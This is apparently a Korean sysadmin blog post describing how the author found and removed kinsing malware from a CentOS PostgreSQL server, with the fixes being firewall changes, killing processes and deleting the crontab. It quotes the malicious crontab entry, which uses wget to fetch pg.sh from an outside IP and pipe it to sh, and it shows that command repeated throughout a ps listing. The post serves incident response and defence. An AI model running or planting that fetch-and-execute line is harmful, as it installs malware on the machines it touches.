Linux,Unix,BSD

kinsing malware 치료기

채윤아빠 2020. 12. 21. 18:35
728x90
반응형

 

문제점 및 증상

서비스에서 운영중에 PostgreSQL을 사용하던 CentOS 서버의 DB가 홀라당 모두 날라가고 초기화되는 사건이 발생하였습니다. 불행하게도 DB 백업을 자주 받지 놓지 않아서 몇 개월전 데이터로 복구는 하였으나, 그 동안에 수집된 데이터가 모두 사라지는 불행한 문제였습니다.


원인 분석

문제는 이러한 문제가 처음이 아니라, 과거에도 몇 번 있었다고 전임자에게 이야기를 듣게 되어, 서버에 백도어나 malware가 설치되어 있어서 동일한 문제가 계속 발생하는 것으로 의심되었습니다.

 

활성화된 네트워크 포트를 확인해 보니, 다음과 같은 알 수 없는 2개의 프로세스(kdevtmpfsi, kinsing)가 활성화 되어 있었습니다.

# netstat -nltpa
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:5355            0.0.0.0:*               LISTEN      913/systemd-resolve 
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      106110/sshd         
tcp        0      0 0.0.0.0:5432            0.0.0.0:*               LISTEN      106897/postgres     
tcp        0      0 10.5.0.7:36562          193.164.150.99:80       ESTABLISHED 1966793/kdevtmpfsi  
tcp        0      0 10.5.0.7:5432           **.***.***.**:47850     ESTABLISHED 109036/postgres: dt 
tcp6       0      0 :::5355                 :::*                    LISTEN      913/systemd-resolve 
tcp6       0      0 :::22                   :::*                    LISTEN      106110/sshd         
tcp6       0      0 :::5432                 :::*                    LISTEN      106897/postgres     
tcp6       0      0 :::31458                :::*                    LISTEN      1966546/kinsing     

"kinsing" 프로세스를 검색하여 보니, malware 였습니다. ㅠ.ㅠ

 

해당 프로세스를 찾아서 삭제하여도, 몇 분뒤에는 다시 동작하였습니다.

 

"kinsing" malware 관련 자료를 찾아보니, crontab 등에서 관련 malware를 다운로드 받아서 구동하는 스크립트가 어딘가 숨어 있을 것이라 확신하고 찾다 보니, "kinsing" 프로세스를 실행하고 있는 계정에 다음과 같이 지정되어 있었습니다.

# crontab -u user -e
* * * * * wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1

처리 내용

좀 더 근본적으로 해당 계정의 "crontab"에 어떻게 "kinsing" malware를 다운로드하고 구동하는 스크립트를 넣었을까? 이 부분에 좀 더 고민을 해보니, pg.sh 라는 malware 스크립트 다운로드 파일의 이름으로 유추해보면 함께 운영중이던 PostgreSQL의 보안 문제로 발생한 것으로 생각되어, PostgreSQL 운영 포트 (5432)를 운영에 반드시 필요한 특정 IP 및 대역에서만 접근할 수 있도록 방화벽의 inbound 설정을 변경하였습니다.

 

방화벽 정책을 변경한지 일주일 정도밖에 흐르지 않아 다른 원인이 있는지 아직 명확하진 않지만, 방화벽 정책 설정은 아주 주의 깊게해야한다는 점을 다시 한번 깨닫게 되었습니다.

 

"outbound" 방화벽 정책에서 http, https(80, 443) 포트를 막았습니다.

 

이후 다음과 같이 malware 스크립트를 다운로드 받기 위한 프로세스가 계속 생성되었습니다.

# ps -ef | grep wget | grep -v grep
user     3084391 3084389  0 17:10 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user     3084392 3084391  0 17:10 ?        00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user     3084563 3084561  0 17:12 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user     3084564 3084563  0 17:12 ?        00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user     3084624 3084622  0 17:13 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user     3084625 3084624  0 17:13 ?        00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user     3084692 3084690  0 17:14 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user     3084693 3084692  0 17:14 ?        00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user     3084746 3084744  0 17:15 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user     3084747 3084746  0 17:15 ?        00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user     3084800 3084798  0 17:16 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user     3084801 3084800  0 17:16 ?        00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user     3084840 3084838  0 17:17 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user     3084841 3084840  0 17:17 ?        00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user     3084893 3084891  0 17:18 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user     3084894 3084893  0 17:18 ?        00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user     3084903 3084901  0 17:19 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user     3084904 3084903  0 17:19 ?        00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user     3084927 3084925  0 17:20 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user     3084928 3084927  0 17:20 ?        00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user     3084946 3084944  0 17:21 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user     3084947 3084946  0 17:21 ?        00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user     3085417 3085415  0 17:22 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user     3085418 3085417  0 17:22 ?        00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user     3085475 3085473  0 17:23 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user     3085476 3085475  0 17:23 ?        00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user     3085509 3085507  0 17:24 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user     3085510 3085509  0 17:24 ?        00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user     3085582 3085580  0 17:25 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user     3085583 3085582  0 17:25 ?        00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user     3085617 3085615  0 17:26 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user     3085618 3085617  0 17:26 ?        00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user     3085676 3085674  0 17:27 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user     3085677 3085676  0 17:27 ?        00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user     3085738 3085736  0 17:28 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user     3085739 3085738  0 17:28 ?        00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user     3085793 3085791  0 17:30 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user     3085794 3085793  0 17:30 ?        00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user     3085804 3085802  0 17:31 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user     3085805 3085804  0 17:31 ?        00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user     3085885 3085883  0 17:32 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user     3085886 3085885  0 17:32 ?        00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user     3085901 3085899  0 17:33 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user     3085902 3085901  0 17:33 ?        00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user     3085943 3085941  0 17:34 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user     3085944 3085943  0 17:34 ?        00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user     3085961 3085959  0 17:35 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user     3085962 3085961  0 17:35 ?        00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user     3085977 3085975  0 17:36 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user     3085978 3085977  0 17:36 ?        00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user     3086023 3086021  0 17:37 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user     3086024 3086023  0 17:37 ?        00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user     3086092 3086090  0 17:38 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user     3086093 3086092  0 17:38 ?        00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user     3086111 3086109  0 17:39 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user     3086112 3086111  0 17:39 ?        00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user     3086125 3086123  0 17:40 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user     3086126 3086125  0 17:40 ?        00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user     3086137 3086135  0 17:41 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user     3086138 3086137  0 17:41 ?        00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user     3086156 3086154  0 17:42 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user     3086157 3086156  0 17:42 ?        00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user     3086170 3086168  0 17:43 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user     3086171 3086170  0 17:43 ?        00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user     3086185 3086183  0 17:44 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user     3086186 3086185  0 17:44 ?        00:00:00 wget -q -O - http://195.3.146.118/pg.sh
user     3086202 3086200  0 17:45 ?        00:00:00 /bin/sh -c wget -q -O - http://195.3.146.118/pg.sh | sh > /dev/null 2>&1
user     3086203 3086202  0 17:45 ?        00:00:00 wget -q -O - http://195.3.146.118/pg.sh

crond 서비스를 중지하고, 다음과 같이 malware 스크립트를 다운로드 받기 위한 프로세스들을 모두 강제 종료시킵니다.

# ps -ef | grep wget | grep -v grep | awk '{print $2}' | xargs kill -9

매분 malware 스크립트를 다운로드 받도록 설정된 계정의 crontab을 모두 삭제하였습니다.


결론

"inbound"/"outbound" 방화벽 정책을 좀 더 철저하게 설정해 놓으면, 위와 같은 문제들을 미연에 방지할 수 있습니다. 개발 및 운영에 불편할 수 있겠지만, 그만큼 공격자들의 난이도가 높아지고 네트워크 보안성이 높아집니다.

특히, outbound http, https(80, 443) 서비스의 경우, 서버의 패키지 업그레이드 등으로 무한정 열어 놓는 경우가 많은데, 조금은 불편하더라도 모두 막아 둔 상태에서 서버의 업그레이드를 수동으로 수행하는 때만 임시로 열어서 진행해야만 합니다.

 

그 밖에 서버의 유지보수 등을 위하여 20, 21, 22, 3389번 포트들을 제한없이 열어 두는 경우도 많은데, 특정 IP에서만 접근할 수 있도록 제한을 하여야 합니다.


참고자료